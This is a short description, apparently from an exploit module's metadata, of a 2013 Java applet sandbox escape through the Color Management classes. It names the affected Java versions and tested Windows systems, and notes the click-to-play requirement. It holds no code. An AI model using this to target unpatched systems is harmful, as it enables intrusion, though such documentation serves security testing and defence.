          This module abuses the Color Management classes from a Java Applet to run
          arbitrary Java code outside of the sandbox as exploited in the wild in February
          and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
          and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
          systems. This exploit doesn't bypass click-to-play, so the user must accept the java
          warning in order to run the malicious applet.
